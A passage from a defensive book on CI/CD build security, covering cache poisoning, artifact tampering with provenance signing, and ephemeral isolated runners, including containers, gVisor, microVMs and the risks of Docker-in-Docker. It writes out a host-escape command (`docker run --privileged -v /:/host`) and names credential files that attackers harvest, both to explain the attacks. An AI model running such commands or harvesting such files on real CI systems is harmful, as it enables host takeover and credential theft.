levels — a pull-request build (untrusted) and a `main/release` build (trusted) reading and writing the same cache keys.

GitHub Actions cache isolation is the well-studied instance, and the mechanism is worth understanding precisely because the defaults are more permissive than intuition suggests. Actions caches are scoped by ref: a workflow run can *restore* caches created in its own branch, in its base branch, and in the repository's default branch; and a cache saved by a run is available to that branch and its descendants. The consequence is a readable path from lower-trust refs upward. A build running on a feature branch or a (same-repo) PR can save a cache under a key that a later build on the base or default branch will restore — and the restoring build treats those bytes as its own prior output. If the cached content is a compiled dependency, a `node_modules` tree, or a tool binary, the high-privilege build links or runs attacker-controlled bytes. Security researchers have demonstrated exactly this cross-branch write-then-restore poisoning against Actions caches, and tooling exists to automate planting poisoned entries; GitHub's scope restrictions narrow but do not eliminate the readable-upward path, and fork PRs are more constrained (they cannot write into the base repo's cache scope). The residual risk lives in the *same-repo lower-trust* write that a higher-trust read consumes.

```
sequenceDiagram
    autonumber
    participant Att as Attacker (low-priv context)
    participant Low as PR / feature-branch build
    (no secrets)
    participant Cache as Shared cache (keyed)
    participant High as main / release build
    (secrets, signing, deploy)
    participant Out as Signed artifact / prod

    Att->>Low: Trigger low-priv build (I-PPE or just a PR)
    Low->>Cache: save_cache key=deps-
    (poisoned node_modules / .o files)
    Note over Cache: Entry now restorable by
    base / default branch
    High->>Cache: restore_cache key=deps-
    Cache-->>High: poisoned bytes (trusted as prior output)
    High->>Out: build + sign + deploy poisoned result
```

The defense is **trust-scoping**: the cache namespace a trusted build reads must be writable *only* by equally-trusted contexts. Concretely — separate

cache keys or separate cache backends for PR/untrusted builds versus protected-branch builds; never let a build that runs untrusted code write into a scope a release build restores; and treat any restored cache as untrusted input if you cannot guarantee its writer's trust level (validate lockfile hashes match, re-resolve dependencies against a pinned lockfile, or verify integrity of restored content).

Remote build caches: content-addressing is not integrity

Remote build caches (Bazel's most prominently, but the reasoning applies to Gradle's cache, `sccache`, and any Remote Execution API cache) are where cache poisoning becomes a fleet-scale supply-chain problem — and where a common misconception must be dismantled.

A Bazel remote cache stores, for each build *action*, the outputs that action produced, keyed by a digest of the action's inputs (command line, input file hashes, environment). This is "content addressing," but note *what* is addressed: the **key is the hash of the action's inputs, not the hash of the output**. When a builder computes an action key and finds a matching entry, it downloads the stored output and uses it **instead of executing the action** — that is the whole value proposition. Bazel does not verify that the cached output is what executing the action *would have* produced; it trusts whoever wrote the entry. Therefore:

Content-addressing by input digest does not defend against a lying cache. Anyone who can compute an action key and can **write** to the cache can plant an arbitrary output under that key, and every builder that trusts the cache will use it without re-execution.

An unauthenticated, world-writable remote build cache is thus a direct path to compromising every build that reads it: the attacker predicts (or trivially reproduces) the action key for `compile //server:main` and writes a poisoned object file; the next fleet build downloads it and links the attacker's code into a signed production binary, having "built from clean source" the whole way. This ties directly to the hermeticity and caching-correctness discussion of Chapter 2: a remote cache is only sound if the mapping from action key to output is *trustworthy*, and input non-determinism (which breaks hermeticity) is exactly what lets an attacker's output masquerade as a legitimate one under a shared key.

Remote build cache mitigations, in priority order:

- **Authenticate and authorize writes.** Reads may be broad; **writes must be restricted to trusted builders.** The single most important control: untrusted contexts (PR builds, developer machines, fork CI) get a **read-only** cache token, and only the protected build path can write. Bazel supports this split directly (`--remote_upload_local_results=false` for untrusted readers).
- **Never share a writable cache across trust levels.** A PR build and a release build must not write the same cache. If untrusted builds need caching, give them a separate backend they cannot use to poison the trusted one.
- **Prefer hermetic, deterministic actions** (Chapter 2) so that action keys actually pin outputs — and consider **re-execution or attestation of cache entries** for high-value targets: sign cache entries with the trusted builder's identity and verify the signature before use, so a poisoned entry from a non-trusted writer is rejected.
- **Isolate the cache network path** and require TLS + auth so it cannot be poisoned by a network-position attacker.

Docker layer cache poisoning

The Docker/BuildKit layer cache is a specific instance of the same trust problem. `--cache-from` a registry location tells BuildKit to reuse layers from there; if that location is writable by an untrusted party (a permissive registry path, a shared cache tag), poisoned layers are imported into the build and baked into the resulting image. Inline cache metadata and layer cache in a shared builder likewise cross trust boundaries when builders are reused. Mitigation mirrors the above: pull cache only from trusted, access-controlled locations; do not import cache written by untrusted builds; and prefer ephemeral builders (Chapter 8) so local layer state does not persist across tenants.

Artifact integrity attacks: tampering between build and publish

The final vector attacks the artifact *after* it is built but *before or at* the point it is trusted downstream. The build produced X; something on the path to the registry substitutes X'. Nothing about the source changed, and — crucially — the build may have been entirely honest. This is SLSA's

build-and-distribution tamper region: threat **(E)** is a compromised build *process* that emits a bad artifact during the build (the PPE/SolarWinds case above), and threat **(F)** is uploading a modified package that did not come from the proper build — tampering after the build, or bypassing it (Book 1, Chapters 1–3, which enumerate SLSA's A–H threats). The distinction matters for *where* you detect it, but the defense is the same shape.

The concrete forms:

- **A malicious post-build step swaps the artifact.** In a pipeline with a PPE foothold, or simply with a poorly-scoped step running after the build, the file on disk is replaced before the publish/sign step reads it. The build logs show a clean compile; the bytes shipped are not the bytes built.
- **Substitution in transit or storage.** Between the build runner and the registry, or at rest in the registry/artifact store, the artifact is replaced — via a compromised registry (Book 6, Chapter 2; Book 2, Chapter 8 for internal registries), a man-in-the-middle where transport integrity is not enforced, or a privileged actor with write access to the store.
- **Dependency substitution during the build.** A poisoned build-time dependency — fetched unpinned, or via a confusable name, or from a poisoned mirror — is linked into the output (Book 2, Chapter 3 and Chapter 4). This is upstream of the artifact but produces the same result: the shipped artifact contains code that was never in the reviewed source.

The defense is not to prevent every tampering opportunity — the path from build to consumer is long and has many privileged actors — but to make tampering *detectable* by binding a cryptographic identity to the exact bytes at the moment of build, and verifying that binding downstream. **Generate provenance and sign the artifact at the instant it is built, in an isolated context the build steps cannot themselves forge (SLSA Build L3; Chapter 3, Book 5), then verify signature and provenance at every trust transition** — publish, admission, deploy. Provenance records the subject *digest*; signing binds that digest to a builder identity. Any post-build swap changes the digest, so the signature no longer verifies and the provenance subject no longer matches — the substitution is caught at the gate.

```

flowchart LR
  SRC["Reviewed source"] --> BUILD["Isolated build (L3)"]
  BUILD -->|"produces X"|
  digest = d(X)"| ART["Artifact X"]
  BUILD -->|"at build time"| PROV["Provenance: subject digest = d(X)
+ signature over d(X)"]
  ART --> TAMPER{"Post-build tamper"}
  swap X → X'"}
  TAMPER -->|"if tampered"| ARTP["Artifact X'"]
  digest = d(X') ≠ d(X)"|
  TAMPER -->|"if clean"| ARTOK["Artifact X"]
  ARTP --> GATE
  ARTOK --> GATE
  PROV --> GATE{"Verify at publish / admission:
digest match + signature valid?"}
  GATE -->|"d(X') ≠ signed d(X)"| REJECT["REJECTED – tamper detected"]
  GATE -->|"d(X) matches, sig valid"| ACCEPT["Accepted → deploy"]

```

This is why provenance and signing are framed throughout this suite as *detection* controls, not prevention: they do not stop a privileged actor from replacing the artifact, but they guarantee the replacement cannot pass as the original. The detection is only as strong as the isolation of the signing step (a build that can reach its own signing key can re-sign the tampered output — the SolarWinds-class self-forgery that L3 exists to prevent) and the diligence of downstream verification (Book 5, Chapter 8; Book 6, Chapters 5–6).

Defenses synthesis: mapping attacks to controls

The attacks in this chapter are diverse in mechanism but converge on a small set of controls. The table maps each to its detection/prevention control and the chapter that develops it.

Attack	Prevention / detection control	Where developed
D-PPE (edit the definition)	Don't run PR-modified defs with secrets; required review + CODEOWNERS on CI config; run protected-ref definition	This chapter; Ch 4, 5

Attack	Prevention / detection control	Where developed
I-PPE (edit invoked files)	CODEOWNERS/review on build scripts, <code>Makefile</code> , <code>package.json</code> , <code>Dockerfile</code> , test/pre-commit configs; <code>--ignore-scripts</code>	This chapter
Public PPE (fork PR)	<code>pull_request</code> no-secrets context; ephemeral isolated runners; never checkout+run PR head with privilege	Ch 4, 5, 8
Escalation (secrets, deploy, cloud pivot)	Least-privilege CI identity; short-lived scoped OIDC creds; egress control	Ch 6; Book 5 Ch 4; Book 6 Ch 9
Runner persistence	Ephemeral, single-use, isolated runners	Ch 8
Cross-tenant reach	Runner/cache isolation per tenant	Ch 4, 8; Book 1 Ch 9
CI cache poisoning (cross-context)	Trust-scoped cache keys/backends; untrusted builds can't write trusted scopes; treat restored cache as untrusted	This chapter
Remote build cache poisoning	Authenticated/authorized cache; read-only for untrusted writers; hermetic actions; signed cache entries	This chapter; Ch 2
Docker layer cache poisoning	Trusted cache sources only; ephemeral builders	This chapter; Ch 8
Artifact tamper (build→publish, SLSA E/F)	Build-time provenance + signing in isolated context; verify downstream	Ch 3; Book 5 Ch 8; Book 6 Ch 5-6
Build-time dependency substitution	Pinning, lockfile verification, private-scope protection	Book 2 Ch 3-4
Exfiltration / anomaly	Egress allowlisting; observability + anomaly detection	Ch 9

Read down the "control" column and a pattern emerges. Nearly every entry is an instance of one of four disciplines: **(1)** review and protect the code the pipeline runs — *all* of it, not just the YAML; **(2)** run untrusted input without privilege, and privileged work without untrusted input; **(3)** scope and authenticate the shared inputs (caches) and outputs (artifacts) so trust is not inherited by proximity; **(4)** detect what you cannot prevent, with provenance, signing, egress control, and observability.

The trusted/untrusted execution boundary

The second discipline is the fundamental one, and it deserves to be drawn explicitly because it subsumes the others. The single structural defense against pipeline poisoning is to **split execution into an untrusted zone that runs repo/PR/fork code with no secrets and no deploy path, and a trusted zone that holds privilege but never executes unreviewed input** — with a hard boundary, and only vetted data crossing it.

```
flowchart TB
    subgraph untrusted["Untrusted zone – runs repo/PR/fork code"]
        direction TB
        U1["PR / fork builds, tests, linters"]
        U2["No secrets, read-only token"]
        U3["Ephemeral, isolated runners (Ch 8)"]
        U4["Read-only / separate caches"]
    end
    subgraph boundary["Trust boundary"]
        B1["Only vetted, content-addressed artifacts + provenance cross"]
        B2["Verify signature + digest before accepting"]
    end
    subgraph trusted["Trusted zone – holds privilege"]
        direction TB
        T1["Protected-branch / release builds"]
        T2["Secrets, signing key, deploy, cloud identity"]
        T3["Least-privilege, short-lived creds (Ch 6)"]
        T4["Writable trusted caches, isolated signing"]
    end
    untrusted --> boundary
    boundary --> trusted
```

Everything else in the chapter is an attack that *violates* this boundary: PPE runs untrusted code in the trusted zone; cross-context cache poisoning lets untrusted-zone writes flow into trusted-zone reads; artifact tampering slips modified bytes across the boundary without re-verification. State the principle once and it governs all of them:

Untrusted input — PR code, fork contributions, cache entries, build-time dependencies — must never execute in, or flow unverified into, a context that holds secrets or deploy privileges, without a trust boundary between them.

Distributed-systems lens

At single-repo scale you can hold the trusted/untrusted split in your head. At fleet scale — many teams, many repos, a shared build platform — the split has to be *structural and standardized*, because the failure modes are shared and the blast radius is fleet-wide.

Shared caches are shared blast radius. The remote build cache that makes a large monorepo's builds fast (Bazel, Gradle, `sccache`) is, by construction, read by every builder in the fleet. It is therefore the single highest-value poisoning target in the system: one poisoned entry under a common action key is linked into every downstream build that hits it. The performance argument for a shared writable cache is exactly the security argument against it. The resolution is not to abandon the cache but to make its trust model explicit — broad authenticated reads, narrow trusted writes, hermetic actions so keys pin outputs, and signed entries for high-value targets. A cache without integrity and authz is not an optimization; it is an unmonitored write path into every production binary (Book 1, Chapter 9 on fleet-wide compromise).

Shared runners are shared persistence risk. Reused runners across tenants turn a single PPE foothold into a fleet implant (Chapter 8). Cross-tenant cache poisoning and runner persistence are the two ways one team's compromise becomes every team's compromise on shared infrastructure, which is why isolation is a platform-level guarantee, not a per-team choice.

Standardize the split in the paved road. No individual team should be one misconfigured `pull_request_target` or one shared cache key away from running fork code with production credentials. The platform team's job (Chapter 10) is to encode the trusted/untrusted boundary into the paved-road pipeline templates so it is the *default* and the *only easy path*: untrusted phases run on ephemeral isolated runners with no secrets and read-only caches; the privileged publish/deploy phase runs from a protected ref, with least-privilege short-lived credentials, and consumes only vetted, verified artifacts. Make the secure split the default and the

fleet inherits it; leave it to each team and someone, somewhere, will run `npm ci` on a fork PR with a publish token in scope.

Detection is centralized too. Because provenance and signing are generated at the shared build platform (Chapter 3), artifact-tamper detection is a platform property every tenant gets for free — one verification policy at the admission gate (Book 6, Chapters 5-6) catches post-build swaps across all tenants at once. And egress control plus build observability (Chapter 9) at the platform layer turn exfiltration and anomalous pipeline behaviour into signals the whole fleet is monitored for, rather than something each team must instrument itself.

Key takeaways

- **A pipeline runs everything it reads.** The workflow YAML is only the root of a tree of repo-controlled code — `Makefile`, `package.json` scripts, `Dockerfile`, tests, linter and pre-commit configs, build scripts — all executed with the job's full privilege. Securing the YAML alone secures the root and ignores the subtree.
- **Direct PPE** edits the pipeline definition; **indirect PPE** edits a file the definition invokes; **public PPE** delivers either via a fork PR with no commit access. I-PPE is the most overlooked because the malicious change lives far from the security-reviewed CI config.
- **Extend review and CODEOWNERS to the invoked files, not just the workflow.** If the pipeline runs it with secrets, it deserves the pipeline's review gate.
- **A PPE foothold's value equals the pipeline's standing privilege** — secret exfiltration, artifact tampering, malicious deploy, cloud pivot via OIDC identity, runner persistence, cross-tenant reach. Least privilege (Ch 6) and ephemeral isolation (Ch 8) bound it.
- **Cache poisoning attacks a trusted shared input without touching source.** Cross-context poisoning — a low-privilege build writing an entry a high-privilege build restores — is a trust inversion; the fix is to trust-scope cache namespaces so untrusted contexts cannot write what trusted contexts read.
- **Content-addressing by input digest is not integrity.** A remote build cache (Bazel et al.) trusts whoever wrote an entry and uses it *instead of re-executing*; an unauthenticated writable cache is a direct

supply-chain compromise. Restrict writes to trusted builders; give untrusted contexts read-only access.

- **Artifact-tamper threats (SLSA (E) build-process compromise, (F) post-build/upload modification) are detected, not prevented, by build-time provenance and signing verified downstream.** Any post-build swap changes the digest and fails verification — provided the signing step is isolated from the build (L3) and downstream actually verifies.
- **One principle unifies every defense:** untrusted input must never execute in, or flow unverified into, a context holding secrets or deploy privileges without a trust boundary. Standardize that split in the paved-road pipeline so no team can accidentally opt out of it.

Further reading

- **OWASP Top 10 CI/CD Security Risks (2022)** — especially CICA-SEC-4 (Poisoned Pipeline Execution), CICA-SEC-5 (Insufficient PBAC), and CICA-SEC-9 (Improper Artifact Integrity Validation). <https://owasp.org/www-project-top-10-ci-cd-security-risks/>.
- **Cider Security / Palo Alto Networks CI/CD security research** — the original PPE taxonomy (direct / indirect / public) that seeded the OWASP list, and the broader "CI/CD attack surface" writeups (Prisma Cloud / Unit 42).
- **GitHub Actions documentation** — *Caching dependencies to speed up workflows* (cache scope and restriction rules) and *Security hardening for GitHub Actions* (`pull_request` vs `pull_request_target` , self-hosted runner risks). <https://docs.github.com/actions>. See also published research on Actions cache poisoning and cross-branch cache isolation.
- **Bazel — Remote Caching and Remote Execution API** — the action-keyed cache model and why write access must be controlled. <https://bazel.build/remote/caching> and <https://github.com/bazelbuild/remote-apis>.
- **SLSA v1.0 Threats & mitigations** — the A-H supply-chain threat model, especially (E) compromise build process and (F) upload modified package. <https://slsa.dev/spec/v1.0/threats>.

- **SLSA v1.0 provenance** and **Sigstore cosign** — build-time provenance and signing as the tamper-detection controls. <https://slsa.dev/provenance/v1>.
- Book 1, Chapter 1 (anatomy and SLSA threats A-H) and Chapter 3 (SolarWinds / 3CX build-system compromise); Book 1, Chapter 9 (distributed-systems blast radius); Book 2, Chapters 3–4 (dependency confusion, malicious packages) and Chapter 8 (internal registries); Book 4, Chapter 2 (hermetic builds and cache correctness), Chapter 3 (SLSA provenance), Chapters 4–6 (platform threats, hardening Actions, secrets), Chapter 8 (ephemeral runners), Chapter 9 (observability), Chapter 10 (secure build platform at scale); Book 5, Chapters 4 and 8 (workload identity, provenance verification); Book 6, Chapters 2, 5–6, 9 (registries, image signing and admission, cloud provider chain).

Chapter 8 — Ephemeral and Isolated Build Environments

What this chapter covers. Chapter 3 defined SLSA Build L3 and then handed off one of its requirements without paying it: the build must run in an environment that other builds cannot influence, and that cannot forge or tamper with the provenance the platform signs. Chapters 4 and 5 showed what a compromised runner can do; Chapter 7 showed how a poisoned pipeline or cache crosses from one build context into another. This chapter is the deep treatment of the mechanism that answers all three at once: **ephemeral, isolated, hardened build environments**. Two properties do the work. *Ephemeral* — the environment is created for one job, destroyed after, never reused, so nothing an attacker leaves behind survives to touch the next build. *Isolated* — the environment is bounded from other builds, from the host kernel, from the network, and from the provenance-signing path, so one build cannot observe or corrupt another. We build up the security rationale from the SolarWinds build-machine persistence model at CI scale, walk the isolation-strength spectrum honestly (namespace containers → gVisor → microVMs → full VMs, with real overhead numbers and honest limits), dissect the `--privileged` Docker-in-Docker problem and the rootless daemonless builders that replace it, tour the real ephemeral-runner architectures

(GitHub-hosted, JIT runners, Actions Runner Controller, GitLab's Kubernetes executor, Jenkins Kubernetes agents), lay out the hardening controls (least privilege, egress allowlisting, just-in-time secrets, immutable base images), and separate trusted from untrusted build pools as the operational form of Chapter 7's trust boundary. We close by showing how this design is the SLSA L3 requirement, and by taking the fleet-scale view: ephemeral isolated runners are a paved-road platform capability, not a per-team chore.

Learning goals — after this chapter you should be able to:

- Explain **why persistence and cross-build contamination are the core CI security failures**, and how ephemerality and isolation are the two independent properties that close them.
- Place the **isolation technologies on a strength/overhead spectrum** — namespace containers, gVisor, Kata/Firecracker microVMs, full VMs — and choose correctly for a given trust level, without overstating container isolation as equivalent to a VM.
- Explain precisely **why `--privileged Docker-in-Docker` is dangerous** and how **Kaniko, Buildah, and rootless BuildKit** build OCI images without a privileged daemon.
- Describe the **ephemeral-runner architectures** in real platforms — GitHub-hosted VMs, just-in-time runners, Actions Runner Controller pods, GitLab's Kubernetes executor, Jenkins Kubernetes agents — and the provision-run-destroy lifecycle they share.
- Apply the **hardening checklist**: non-root, dropped capabilities, read-only root FS, seccomp/AppArmor, egress allowlisting, JIT secrets, immutable runner images.
- Design the **trusted/untrusted pool split** and connect it to **SLSA L3**: ephemeral + isolated + platform-signed provenance outside the user's build steps is L3.

Why ephemerality and isolation, precisely

Start from the failure mode. A CI runner executes untrusted-ish code by design: dependency install scripts, test suites, `Makefile` targets, `docker build` — the whole invoked-file subtree from Chapter 7, any node of which an attacker may control through a malicious dependency, a poisoned cache, or a poisoned-pipeline foothold. When that code runs, it runs with the process's authority on whatever machine it lands on. The

security question is not only *what can it do during this build?* but *what does it leave behind for the next one?*

On a **persistent runner** — a long-lived VM or a bare-metal agent that services job after job — the answer is: potentially everything. State accumulates by design. The workspace is reused. Tool caches (`~/.npm`, `~/.gradle`, `~/.cargo`, the Docker layer cache) persist. Environment variables, cloud credential files (`~/.aws/credentials`, `~/.docker/config.json`, a mounted kubeconfig), SSH known-hosts, and the runner's own registration token all sit on disk between jobs. An attacker who achieves code execution in one build can therefore:

- **Implant.** Drop a modified compiler, linker, or `npm / pip` shim on `PATH`, or a malicious entry in a shared tool cache, so that a *later* build — possibly a trusted one, possibly another team's — silently uses the tampered tool. This is the SolarWinds mechanism (Book 1, Chapter 3): the Sunspot implant sat on the build machine and rewrote the source during `MSBuild`, then removed itself. It did not compromise the committed source; it compromised the *environment that built it*, persistently.
- **Harvest.** Read credentials, tokens, and secrets left by prior jobs, or install a background process that waits for the next high-privilege job and steals its just-injected secrets.
- **Persist.** Establish a foothold — a cron entry, a systemd unit, a modified runner binary, an reverse shell — that outlives the job and gives durable access to the CI fleet.

Every one of these depends on the same precondition: **the environment survives the build**. Remove that precondition and the entire class collapses. That is what ephemerality buys.

The two properties are independent

Ephemerality and isolation are often said in one breath, but they are distinct and you need both.

- **Ephemeral** = short-lived, single-use, destroyed after the job, never reused. It bounds a compromise *in time*: whatever the attacker does is gone when the environment is torn down. It does nothing about what the attacker can reach *during* the build.
- **Isolated** = bounded from other builds, the host, and the network *while running*. It bounds a compromise *in space*: even mid-build, the

attacker cannot read another job's secrets, escape to the host kernel, or reach another tenant's workspace.

A persistent runner can be well-isolated (each job in a fresh container, but on a machine that keeps its caches) and still fail: the shared cache carries the implant forward. An ephemeral runner with weak isolation can fail the other way: the job is destroyed after, but *during* the build a container escape reached a co-tenant on the same host. Neither property substitutes for the other. SLSA L3's isolation requirement and the anti-persistence goal are two axes, and a serious build platform sits in the corner where both are satisfied.

```
flowchart TB
    subgraph persistent["Persistent runner – state accumulates"]
        direction TB
        P0["Runner boots once"]
        PJ1["Job 1 (malicious dep)"]
        drops["drops shim on PATH,  
leaves creds cache"]
        PJ2["Job 2 (trusted, has secrets)"]
        uses["uses tampered tool,  
secret harvested"]
        PJ3["Job 3 (other tenant)"]
        reads["reads leftover workspace"]
        P0 --> PJ1 --> PJ2 --> PJ3
        IMPLANT["implant + creds survive  
across every job"]
        PJ1 -- ".persists.->" --> IMPLANT
        IMPLANT -- ".affects.->" --> PJ2
        IMPLANT -- ".affects.->" --> PJ3
    end

    subgraph ephemeral["Ephemeral runner – fresh per job"]
        direction TB
        E1["provision fresh env"] --> EJ1["Job 1 (malicious dep)"]
        compromise["compromise contained"] --> ED1["destroy"]
        E2["provision fresh env"] --> EJ2["Job 2 (trusted)"]
        clean["clean start"] --> ED2["destroy"]
        E3["provision fresh env"] --> EJ3["Job 3 (other tenant)"]
        clean --> ED3["destroy"]
        ED1 -- ".nothing survives.->" --> E2
        ED2 -- ".nothing survives.->" --> E3
    end
```

The isolation spectrum

"Isolated" is not binary. It is a spectrum of mechanisms with a hard trade-off: stronger isolation costs more startup latency, more memory, and often more operational complexity. The single most common mistake in CI security is treating a container as equivalent to a VM. It is not, and the difference matters exactly when you are running untrusted code — which is the CI case. Walk the spectrum from weakest to strongest.

Namespace/container isolation (the default)

Docker, containerd, and the Kubernetes pod are all built on the same Linux primitives: **namespaces** (PID, mount, network, UTS, IPC, user, cgroup — each virtualizes one dimension of the global system so the process sees its own view), **cgroups** (resource limits and accounting), **capabilities** (the ~40 slices of root's power, individually grantable or droppable), **seccomp** (a BPF filter on which syscalls the process may make), and **LSMs** (AppArmor/SELinux mandatory access control). A container is a normal process on the host, wrapped in these controls.

The strength: near-zero overhead. A container starts in tens of milliseconds and adds no measurable CPU cost, because it *is* a host process. For CI at scale this is why containers are the default — you can pack hundreds per node and start them instantly.

The weakness, stated plainly: **the container shares the host kernel**. Every syscall the build makes is serviced by the same kernel that services every other container on the node and the host itself. The kernel is a large C attack surface (hundreds of syscalls, plus `ioctl`, `/proc`, `/sys`, `netlink`). A single exploitable kernel bug reachable from an in-container syscall is a **container escape** — the attacker breaks out to the host and thereby to every co-tenant container. This is not theoretical: runc, containerd, and the kernel itself have shipped escape-class CVEs (runc's CVE-2019-5736 overwrote the host `runc` binary from inside a container; later `/proc/self` and cgroup-release-agent tricks; kernel bugs in namespaces and `io_uring`). Seccomp and AppArmor shrink the reachable surface substantially — a good seccomp profile blocks well over 40 dangerous syscalls — but they narrow the surface, they do not eliminate the shared-kernel model.

Two container practices make this worse and both are common in CI:

- **--privileged** disables essentially all of the above — full capability set, no seccomp, no AppArmor, device access. A privileged container is, for security purposes, root on the host with a thin veneer. It exists mostly to run Docker-in-Docker (below).
- **Rootless containers** make it better. Running the container runtime and the container process as an unprivileged host user, using a **user namespace** so in-container UID 0 maps to an unprivileged host UID, means a container escape lands the attacker as a nobody user on the host, not as root. This is a meaningful mitigation and should be the default for untrusted builds where a full VM boundary is not used. It does not change the shared-kernel fact, but it removes the "escape == host root" step.

gVisor — a user-space kernel

Google's **gVisor** takes a different approach: instead of hardening the path to the host kernel, it *interposes a second kernel written in Go* between the container and the host. gVisor's **runsc** runtime intercepts the application's syscalls (via **ptrace** or, faster, a KVM-based platform) and services most of them in a user-space sentry process that reimplements the Linux syscall ABI. The host kernel sees only a small, tightly-restricted set of syscalls made by the sentry itself, guarded by an aggressive seccomp filter. The result: the build's syscalls almost never reach the host kernel directly, so the host-kernel attack surface the build can touch shrinks from hundreds of syscalls to a few dozen sentry-mediated ones.

This is Google's chosen isolation for untrusted workloads (it runs App Engine, Cloud Run, and Cloud Functions second-gen). The cost is real: because the sentry reimplements syscalls in user space, syscall-heavy and I/O-heavy workloads see meaningful overhead (often tens of percent, workload dependent), some syscalls and **/proc** fields are incompletely emulated, and startup adds a sentry spin-up. For a CI build that is compile-and-test heavy this is frequently acceptable; for something that hammers the filesystem it may not be. gVisor is a *defense-in-depth strengthening of the container model*, not a VM — the sentry is still a user-space process, but the isolation is materially stronger than a bare namespace container.

Kata Containers and Firecracker — microVMs

The next step is a real hardware-virtualization boundary. **Kata Containers** runs each pod (or container) inside a lightweight VM with its own guest kernel, presenting an OCI/CRI-compatible runtime so Kubernetes and containerd drive it like any other container — you get container UX with a VM boundary. The isolation is the hypervisor's: the build runs on a *separate guest kernel*, and a guest kernel compromise leaves the attacker inside a VM whose only exit is the far smaller hypervisor interface (virtio devices, a handful of VM exits) rather than the full Linux syscall surface.

Firecracker is AWS's minimal VMM built for exactly this: a Rust virtual machine monitor that boots a stripped microVM in roughly 125 ms, with a deliberately tiny device model (a few virtio devices, no BIOS, no PCI) to keep the host-facing attack surface small. **AWS Lambda and Fargate run customer code in Firecracker microVMs** precisely because they execute untrusted multi-tenant code and need a VM boundary at container density and startup speed. Kata can use Firecracker (or QEMU, or Cloud Hypervisor) as its VMM.

The trade-off: each microVM carries a guest kernel and a slice of dedicated memory (tens of MB of overhead per VM), startup is ~100+ ms rather than ~10 ms, and nested virtualization or bare-metal nodes are required (you cannot always run a hypervisor inside an already-virtualized cloud instance without bare-metal or nested-virt support). For untrusted or public builds this is the right boundary and the cost is well spent.

Full VMs

A conventional VM per build — the model GitHub-hosted runners use — is the strongest common option: full guest OS, full guest kernel, the mature hypervisor boundary (KVM, Hyper-V, Xen), and no sharing of anything above the hypervisor with other tenants. It is also the heaviest: seconds of boot, a full OS image, a whole guest to schedule. At fleet scale you amortize this with warm pools and image snapshots, but the cold-start and per-VM memory cost is real. When a build is fully untrusted and you want the least clever, most auditable boundary, a fresh VM per job is it.

```

flowchart LR
    A["Namespace container  
(Docker/containerd, pod)"] --> B["Rootless container  
+ seccomp/AppArmor"]
    B --> C["gVisor  
(user-space kernel)"]
    C --> D["Kata / Firecracker  
microVM"]
    D --> E["Full VM per job  
(GitHub-hosted)"]

    A -. "weakest isolation  
lowest overhead  
~10ms start" .-> A
    E -. "strongest isolation  
highest overhead  
seconds start" .-> E

    classDef weak fill:#fde,stroke:#a33
    classDef strong fill:#dfe,stroke:#3a3
    class A weak
    class E strong

```

Technology	Boundary	Isolation strength	Startup / overhead	Multi-tenant untrusted?	Real users
Namespace container	Shared host kernel	Weak (escape reaches host)	~10 ms, negligible CPU	No, not alone	Default Docker/ K8s CI
Rootless + seccomp/ AppArmor	Shared kernel, user-ns, filtered syscalls	Weak-moderate (escape → unprivileged host user)	~10-50 ms	Marginal	Podman, rootless BuildKit
gVisor (<code>runsc</code>)	User-space kernel; host sees few syscalls	Moderate-strong	+10-50% on syscall-heavy work	Yes (Google uses it)	GKE Sandbox, Cloud Run

Technology	Boundary	Isolation strength	Startup / overhead	Multi-tenant untrusted?	Real users
Kata / Firecracker microVM	Guest kernel + hypervisor	Strong (VM boundary)	~100-300 ms, tens of MB/VM	Yes	AWS Lambda/Fargate
Full VM per job	Full guest OS + hypervisor	Strongest common	seconds, full OS image	Yes	GitHub-hosted runners

The decision rule is trust-driven, not fashion-driven. **Trusted, internal builds** on code your org already controls can often run in well-hardened rootless containers — the threat is a compromised dependency, and ephemerality plus egress control plus seccomp is a reasonable posture. **Untrusted or public builds** — fork-PR CI, community submissions, anything running attacker-influenced code with any adjacency to secrets or other tenants — warrant a VM-class boundary (microVM or full VM). Do not run untrusted code behind only a namespace container and call it isolated.

The Docker-in-Docker and privileged-runner problem

CI builds container images. To build an OCI image you have historically needed a Docker daemon, and to run a Docker daemon inside a container you have needed **--privileged** (or to bind-mount the host's `/var/run/docker.sock`). Both are dangerous, and both are still widespread.

- **Mounting the host Docker socket** (`-v /var/run/docker.sock:...`) hands the build the host daemon's API. The build can `docker run --privileged -v /:/host ...` and it is now root on the host with the host filesystem mounted. This is a direct, trivial escape — not a bug, the documented behavior of the API. Any build that can reach the host socket owns the node and every container on it.
- **Privileged Docker-in-Docker** (`dind`) runs a *second* daemon inside a `--privileged` container. The `privileged` flag, as noted, disables seccomp/AppArmor and grants the full capability set and device access; the nested daemon needs this to manage cgroups, mounts, and the overlay filesystem. A build that can influence what runs in that privileged container is one kernel or cgroup trick away from the

host. Privileged containers are the single most common isolation-defeating configuration in CI.

The point is architectural: you should not need a privileged daemon to *build an image*. Building an image is unpacking base layers, running build steps in a chroot-like environment, and emitting a new layered tarball with a manifest. That does not intrinsically require host-level privilege. Several **daemonless, rootless image builders** exploit exactly this:

- **Kaniko** (Google) builds from a Dockerfile entirely in user space, inside the build container, with no daemon and no privileged mode. It executes each Dockerfile instruction and snapshots the filesystem in userland, pushing the result straight to a registry. It expects to run in a container and does not need `--privileged` (it does want its own container because it modifies the root filesystem as it builds). This is the common Kubernetes-native answer.
- **Buildah** (Red Hat) builds OCI images rootless, using user namespaces and fuse-overlayfs so no host root or daemon is required. It pairs with Podman (also daemonless). Buildah can build from a Dockerfile or via its own scriptable API.
- **BuildKit in rootless mode** (the engine behind modern `docker build`) runs the builder as an unprivileged user in a user namespace, with content-addressed caching and concurrent build graph execution. `buildkitd --oci-worker rootless`, or `buildctl`, gives you BuildKit's speed without a privileged daemon.
- **img** is a further daemonless, rootless BuildKit frontend in the same family.

```

flowchart TB
    subgraph bad["Dangerous: privileged DinD"]
        B1["CI job container  
--privileged"]
        B2["nested dockerd  
(full caps, no seccomp)"]
        B3["host kernel"]
        B1 --> B2 -. "one cgroup/kernel trick" .-> B3
        HOST1["HOST ROOT + co-tenants"]
        B3 --> HOST1
    end

    subgraph good["Safer: rootless daemonless builder"]
        G1["CI job container  
non-root, user-ns"]
        G2["Kaniko / Buildah /  
rootless BuildKit"]
        G3["registry (push via OIDC token)"]
        G1 --> G2 --> G3
        G2 -. "no daemon, no --privileged,  
no host socket" .-> G1
    end

```

